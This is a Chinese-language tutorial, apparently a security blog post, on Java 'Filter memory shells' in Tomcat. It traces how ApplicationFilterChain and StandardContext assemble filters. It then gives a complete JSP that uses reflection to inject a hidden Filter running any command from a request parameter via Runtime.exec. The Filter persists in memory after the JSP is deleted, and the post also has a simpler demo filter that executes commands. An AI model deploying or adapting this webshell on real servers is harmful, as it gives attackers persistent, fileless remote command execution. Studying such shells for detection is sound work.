Java内存马之Filter内存马

前言

前两天去做渗透测试啦,所以关于Java的内容没有怎么学,打了两天,后续打的比较烦了,就继续学习Java,今天的内容是Java的Filter内存马

前置知识

Filter我们称之为过滤器,是JAVA中最常见的技术之一,一般是用来处理静态Web资源,访问权限控制,记录日志等附加功能,当Tomcat收到请求后,会依次经过Listener->Filter->Servlet,在学习内存马的知识前,先来简单了解一下Tomcat处理请求的逻辑。主要看的是Wrapper中那部分,请求到达Wrapper容器时,会去先调用FilterChain,FilterChain看名字也很容易理解,就是几个Filter组成的一条链,然后再把请求发送给Servlet,这里的话他既然去调用了FilterChain,那我们是否可以通过写入一个恶意的Filter,然后调用这个恶意的Filter来触发恶意方法。因此,我们后续的任务就是要搞明白如何去注册一个恶意的Filter。
image-20220411174112206
通常情况下,注册一个Filter有三种方法,这里只讨论下面的第一种

  1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
  2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

正文

为了让没有学过Java Web的师傅们更容易理解, 我这里就简单写了一个Demo
TestFilter.java

import javax.servlet.*;  
import java.io.IOException;  
  
public class TestFilter implements Filter {  
    @Override  
 public void init(FilterConfig filterConfig) throws ServletException {  
  
    }  
  
    @Override  
 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        filterChain.doFilter(servletRequest,servletResponse);  
		System.out.println(servletRequest.getParameter("cmd"));  
		Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));  
		System.out.println("这是TestFilter的doFilter方法");  
 }  
  
    @Override  
 public void destroy() {  
  
    }  
}

web.xml

<!DOCTYPE web-app PUBLIC  
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"  
 "http://java.sun.com/dtd/web-app_2_3.dtd" >  
  
<web-app>  
 <display-name>Archetype Created Web Application</display-name>  
 <filter> <filter-name>TestFilter</filter-name>  
 <filter-class>TestFilter</filter-class>  
 </filter> <filter-mapping> <filter-name>TestFilter</filter-name>  
 <url-pattern>/*</url-pattern>  
 </filter-mapping>
</web-app>

然后我们运行,直接GET:?cmd=calc,可以成功弹出计算器
image-20220411174118821
这就是无文件的WebShell,恶意代码存放在Filter里,每次去对服务器发起请求会调用到Filter里的内容,实现无文件Webshell,通过上面的Demo,师傅们应该会对Filter的作用有个比较好的了解吧,如果没有也没关系,多看几遍就懂了。我们如果在正常情况下,如果想要让目标执行这个Filter,肯定需要构造恶意的Filter,并且在web.xml里对他进行配置,否则并不会执行这个Filter,但是我们手动去修改他的web.xml文件并不现实,因此现在需要做的就是想办法如何去构造这个恶意的Filter并且不在web.xml里配置但是要达到配置的效果。因此我们需要通过一步步调试去研究代码中是如何获取想要调用的Filter的信息。

先在我们上面的代码的filterChain.doFilter(servletRequest,servletResponse);打上断点,然后开始调试

image-20220411174123050

我们往前寻找,跟进ApplicationFilterChaininternalDoFilter方法,此时初始化了一个ApplicationFilterConfig类,其中的内容如下图。

image-20220411174126601

并且此时的ApplicationFilterConfig类中的filters属性中包含了我们的filter信息,第二个filter是tomcat自带的filter

image-20220411174129669

具体代码实现如下,先初始化了一个filterConfig,并且使用自身的filter对filterConfig进行了赋值,在上面说到了filters是包含了我们的filter信息,然后通过filterConfiggetFilter方法获得到了对应的filter,并且直接调用了filter的doFilter方法

private void internalDoFilter(ServletRequest request,
                              ServletResponse response)
    throws IOException, ServletException {

    // Call the next filter if there is one
    if (pos < n) {
        ApplicationFilterConfig filterConfig = filters[pos++];
        try {
            Filter filter = filterConfig.getFilter();

            if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                    filterConfig.getFilterDef().getAsyncSupported())) {
                request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
            }
            if( Globals.IS_SECURITY_ENABLED ) {
                final ServletRequest req = request;
                final ServletResponse res = response;
                Principal principal =
                    ((HttpServletRequest) req).getUserPrincipal();

                Object[] args = new Object[]{req, res, this};
                SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
            } else {
                filter.doFilter(request, response, this);
            }
        } catch (IOException | ServletException | RuntimeException e) {
            throw e;
        } catch (Throwable e) {
            e = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(e);
            throw new ServletException(sm.getString("filterChain.filter"), e);
        }
        return;
    }

大概的流程有了:ApplicationFilterChain中包含了所有的filter信息,然后给到不同的filterConfig,通过filterConfig获取到对应的Filter,然后执行Filter的doFilter方法,因此我们就要去研究ApplicationFilterChain的filter信息是从哪里获取到的,只要从找到获取filter信息的位置,我们就可以达到我们的目标了

image-20220411174133717

继续往回走,来到StandardContextValve#invoke方法,由于源代码太长,这里就不放出了,只给出关键代码

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

在如上位置调用ApplicationFilterFactory.createFilterChain获得了一个filterChain,接着就调用了filterChain.doFilter,其中并没有对filterChain进行赋值的操作,那就只有一种可能,说明在上一步ApplicationFilterFactory.createFilterChain的时候就已经把filter的信息填入了,继续跟进ApplicationFilterFactory.createFilterChain

public static ApplicationFilterChain createFilterChain(ServletRequest request,
        Wrapper wrapper, Servlet servlet) {

    // If there is no servlet to execute, return null
    if (servlet == null)
        return null;

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain = null;
    if (request instanceof Request) {
        Request req = (Request) request;
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    filterChain.setServlet(servlet);
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();

    // If there are no filter mappings, we are done
    if ((filterMaps == null) || (filterMaps.length == 0))
        return (filterChain);

    // Acquire the information we will need to match filter mappings
    DispatcherType dispatcher =
            (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

    String requestPath = null;
    Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
    if (attribute != null){
        requestPath = attribute.toString();
    }

    String servletName = wrapper.getName();

    // Add the relevant path-mapped filters to this filter chain
    for (int i = 0; i < filterMaps.length; i++) {
        if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMaps[i], requestPath))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMaps[i].getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (int i = 0; i < filterMaps.length; i++) {
        if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMaps[i], servletName))
            continue;
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
            context.findFilterConfig(filterMaps[i].getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}

首先在filterChain = (ApplicationFilterChain) req.getFilterChain();处通过getFilterChain获得req的filterChain,如果为null,则手动设置一个

image-20220411174139107

然后是设置了一些filterChain的信息,继续往下一行是FilterMap filterMaps[] = context.findFilterMaps();,从context中获取到我们的FilterMaps,FilterMaps的具体内容如下,他包含了filterName和urlPartternimage-20220411174143259

继续往下,是一个for循环,这里为了方便观看重新放一下源代码

for (int i = 0; i < filterMaps.length; i++) {
    if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMaps[i], requestPath))
        continue;
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMaps[i].getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    filterChain.addFilter(filterConfig);
}

遍历了filterMaps,通过context.findFilterConfig(filterMaps[i].getFilterName());从filterMaps数组中找到对应的ApplicationFilterConfig然后给到filterConfig,并且通过filterChain.addFilter(filterConfig);添加到filterChain中。上面提到,我们是从context中获取到我们的FilterMaps,这里也师傅们也可以不用进行深入研究,具体可以看下面的调试结果,context中存有我们的filterConfigs,filterDefs和filterMaps

image-20220411174148412
  • FilterConfigs:存放filteConfig的数组,filterConfig中存放着一些Filter对象信息和filterDef
  • FilterDefs:存放FilterDef的数组,FilterDef存放着过滤器名,实例等信息
  • FilterMaps:存放着FilterMap的数组,FilterMap主要存放FilterName和对应的URLPattern

因此我们只需要通过反射去构造filterDef,filterMap,filterConfig对象,然后把filterConfig加到filterConfigs中即可完成内存马的注入,除此之外,我们还必须要反射创建三个对象,分别是servletContext,applicationContext,standardContext

image-20220411174157754

把index.jsp删除后,依旧可以执行

image-20220411174200972
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
    //反射创建servletContext
    ServletContext servletContext = request.getServletContext();
    ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
    Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
    applicationContextFacadeContext.setAccessible(true);
    //反射创建applicationContext
    ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
    Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
    applicationContextContext.setAccessible(true);
    //反射创建standardContext
    StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


    //创建filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
    String filterName = "Filter";
    if (hashMap.get(filterName)==null){


        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                System.out.println("注入初始化");
            }


            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                servletRequest.setCharacterEncoding("utf-8");
                servletResponse.setCharacterEncoding("utf-8");
                servletResponse.setContentType("text/html;charset=UTF-8");
                filterChain.doFilter(servletRequest,servletResponse);
                System.out.println(servletRequest.getParameter("shell"));
                Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
                System.out.println("过滤中。。。");
            }


            @Override
            public void destroy() {
//                Filter.super.destroy();
            }
        };
        //构造filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);


        //构造filterMap对象
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);


        //构造filterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


        //将filterConfig添加到filterConfigs中,即可完成注入
        hashMap.put(filterName,applicationFilterConfig);
        response.getWriter().println("successfully");
    }
%>

补充

关于如上jsp内存马,可能有些师傅不太理解反射获取servletContext,applicationContext,standardContext的过程,其实通过request.getServletContext()获取的ServletContext其实是ApplicationContextFacade对象,他对applicationContext进行了一个封装,ApplicationContextFacade中的context属性就是applicationContext对象,所以上文是通过ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);来获取applicationContext ,ApplicationContext实例中又包含了StandardContext实例,所以是通过StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);来获取standardContext ,各位师傅参考下图就明白了

image-20220411174206924

参考

https://javasec.org/javaweb/MemoryShell/
https://xz.aliyun.com/t/10888

JSP Webshell那些事 -- 攻击篇(下)